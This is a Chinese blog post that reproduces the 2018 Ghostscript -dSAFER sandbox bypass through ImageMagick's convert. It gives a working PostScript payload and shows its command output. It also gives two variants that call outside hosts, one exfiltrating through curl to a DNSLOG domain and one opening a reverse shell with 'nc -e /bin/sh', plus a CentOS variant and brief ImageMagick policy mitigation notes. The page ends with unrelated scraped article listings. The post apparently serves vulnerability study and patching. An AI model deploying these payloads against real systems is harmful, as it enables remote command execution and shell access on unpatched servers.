这两天网上ghostscript又又有漏洞信息了,但是没有poc,于是找找资料把今年8月21日的那个验证下

1、关于ghostscript

Ghostscript是一套建基于Adobe、PostScript及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。
最初是以商业软件形式在PC市场上发售,并称之为“GoScript”。但由于速度太慢(半小时一版A4),销量极差。后来有心人买下了版权,并改在Linux上开发,成为了今日的Ghostscript。
已经从Linux版本移植到其他操作系统,如其他Unix、Mac OS X、VMS、Windows、OS/2和Mac OS classic。
基于ghostscript的上游应用有Imagemagick、libmagick、graphicsmagick、gimp、python-matplotlib、texlive-core、texmacs、latex2html、latex2rtf等
还是挺多的,2016年被披露的“魔图”漏洞是就是imagemagick被暴露的漏洞;
8月21日Ghostscript被爆出包含多个-dSAFER沙箱绕过漏洞。-dSAFER是Ghostscript用于防止不安全PostScript操作的安全沙箱。此漏洞与2016年出现的沙箱绕过漏洞(CVE-2016-3714)类似,远程未经身份验证的攻击者可通过多种PostScript操作来绕过-dSAFER提供的保护,在易受攻击的系统上执行任意命令。ImageMagick等默认使用Ghostscript来处理PostScript内容的应用,将受到此漏洞影响。
2、漏洞信息
  影响范围 :<= 9.23(全版本,全平台)
  漏洞作者:Tavis Ormandy
 
3、漏洞复现
  环境:
    KALI 2018.02 rolling
    ghostscript:GPL Ghostscript 9.22 (2017-10-04)
    imagemagick未确认
  POC信息    
 root@kali:~# cat test.jpg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
root@kali:~# convert test.jpg test.gif
uid=(root) gid=(root) 组=(root)
convert-im6.q16: FailedToExecuteCommand `'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap= -dAlignToPixels= -dGridFitTT= '-sDEVICE=pngalpha' -dTextAlphaBits= -dGraphicsAlphaBits= '-r72x72' -g612x792 '-sOutputFile=/tmp/magick-7925iEZJksvksDOI%d' '-f/tmp/magick-79250M4URvG5ediB' '-f/tmp/magick-7925ORuyFX7DkULt' -c showpage' (-1) @ error/delegate.c/ExternalDelegateCommand/462.
convert-im6.q16: no images defined `test.gif' @ error/convert.c/ConvertImageCommand/3258.
root@kali:~#

使用DNSLOG获取信息:

 %!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%curl http://XXX.ceye.io) currentdevice putdeviceprops

反弹Shell信息:
 %!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%$(nc -e /bin/sh X.X.X.X )) currentdevice putd
eviceprops
 
本来是准备用一个centos7的虚拟机来做环境测试,无奈一直报错没解决,可能已经拦截这些poc代码了???
 [root@localhost ~]# convert test.jpeg poc.gif
Error: /invalidaccess in --.putdeviceprops--
Operand stack: Execution stack:
%interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- %stopped_push --nostringval-- --nostringval-- --nostringval-- false %stopped_push %oparray_pop %oparray_pop %oparray_pop %oparray_pop --nostringval-- %errorexec_pop .runexec2 --nostringval-- --nostringval-- --nostringval-- %stopped_push --nostringval-- %oparray_pop --nostringval-- %oparray_pop
Dictionary stack:
--dict:/(ro)(G)-- --dict:/(G)-- --dict:/(L)--
Current allocation mode is local
Last OS error: No such file or directory
Current file position is
GPL Ghostscript 9.07: Unrecoverable error, exit code
Error: /invalidaccess in --.putdeviceprops--
Operand stack: Execution stack:
%interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- %stopped_push --nostringval-- --nostringval-- --nostringval-- false %stopped_push %oparray_pop %oparray_pop %oparray_pop %oparray_pop --nostringval-- %errorexec_pop .runexec2 --nostringval-- --nostringval-- --nostringval-- %stopped_push --nostringval-- %oparray_pop --nostringval-- %oparray_pop
Dictionary stack:
--dict:/(ro)(G)-- --dict:/(G)-- --dict:/(L)--
Current allocation mode is local
Last OS error: No such file or directory
Current file position is
GPL Ghostscript 9.07: Unrecoverable error, exit code
convert: Postscript delegate failed `test.jpeg': 没有那个文件或目录 @ error/ps.c/ReadPSImage/832.
convert: no images defined `poc.gif' @ error/convert.c/ConvertImageCommand/3046.

4、注意事项:

kali因为是基于ubuntu的操作系统,所以这次的poc用的就是ubuntu版本的代码;

Centos版本和ubuntu略不一样,可尝试如下代码:

 %!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

5、修复

卸载???卸载是不可能的

使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在 <policymap> 中加入以下 <policy>(即禁用 PS、EPS、PDF、XPS coders):

这里由于是使用Kali进行测试,路径为  /etc/ImageMagick-6/policy.xml

再次测试:

 

ghostscript远程代码执行漏洞复现的更多相关文章

  1. Ghostscript远程代码执行漏洞利用方法

    昨天爆出来的Ghostscript远程代码执行漏洞,复现过程如下 1.确认系统是否安装了gs 执行命令 gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/ ...

  2. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  3. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

  4. IIS6远程代码执行漏洞复现CVE-2017-7269

    简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...

  5. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  6. Apache log4j2 远程代码执行漏洞复现👻

    Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...

  7. PHP远程代码执行漏洞复现(CVE-2019-11043)

    漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...

  8. SMBv3远程代码执行漏洞复现(CVE-2020-0796)

    漏洞基本信息 服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上.它还提供了经过身份验证的进程间通信机制.SMB的大多数用法涉及运行Microsof ...

  9. CVE-2019-11043 Nginx PHP 远程代码执行漏洞复现

    漏洞背景:来自Wallarm的安全研究员Andrew Danau在9月14-16号举办的Real World CTF中,意外的向服务器发送%0a(换行符)时,服务器返回异常信息.由此发现了这个0day ...

随机推荐

  1. 简单的端口扫描器(TCP connect)

    端口扫描器原理相对简单,采用的是TCP connect状态判断.具体来说:TCP connect方式使用系统网络API connect向目标主机的端口发起连接,如果无法连接,说明该端口关闭.该方式扫描 ...

  2. SQL优化原则(转)

    一.问题的提出 在应用系统开发初期,由于开发数据库数据比较少,对于查询SQL语句,复杂视图的的编写等体会不出SQL语句各种写法的性能优劣,但是如果将应用系统提交实际应用后,随着数据库中数据的增加,系统 ...

  3. Spring @Pathvariable

    先记录下@PathVariable的用法吧: @RequestMapping("/demo/{id}") @ResponseBody public User getUser(@Pa ...

  4. javascript中 Function.prototype.apply()与Function.prototype.call() 对比详解

    Function.prototype.apply()|Function.prototype.call() apply()方法可以在使用一个指定的 this 值和一个参数数组(或类数组对象)的前提下调用 ...

  5. [NOI 2015]品酒大会

    Description 题库链接 \(n\) 杯鸡尾酒排成一行,其中第 \(i\) 杯酒 (\(1 \leq i \leq n\)) 被贴上了一个标签 \(s_i\),每个标签都是 \(26\) 个小 ...

  6. c++中虚析构函数

    当指向基类的指针指向新建立的派生类对象而且基类和派生类都调用new向堆申请空间时,必须将基类的析构函数声明为虚函数,从而派生类的析构函数也为虚函数,这样才能在程序结束时自动调用它,从而将派生类对象申请 ...

  7. 安装Eclipse时遇到”java was started but returned exit code = 13“如何解决?

    有的时候运行开发工具时会出现java was started but returned exit code = 13......的提示,绝大多数的问题都是版本问题: 我们可以打开命令行工具cmd 输入 ...

  8. c# Datatable导出Excel

    using NPOI.SS.UserModel; using NPOI.XSSF.UserModel; using System; using System.Collections.Generic; ...

  9. c#cookie读取写入操作

    public static void SetCookie(string cname, string value, int effective) { HttpCookie cookie = new Ht ...

  10. [android] 手机卫士手机实现短信指令获取位置

    获取位置  新建一个service的包 新建一个GPSService类继承系统的Service类 清单文件中注册一下 重写onCreate()方法,服务创建的时候回调 重写onDestroy()方法, ...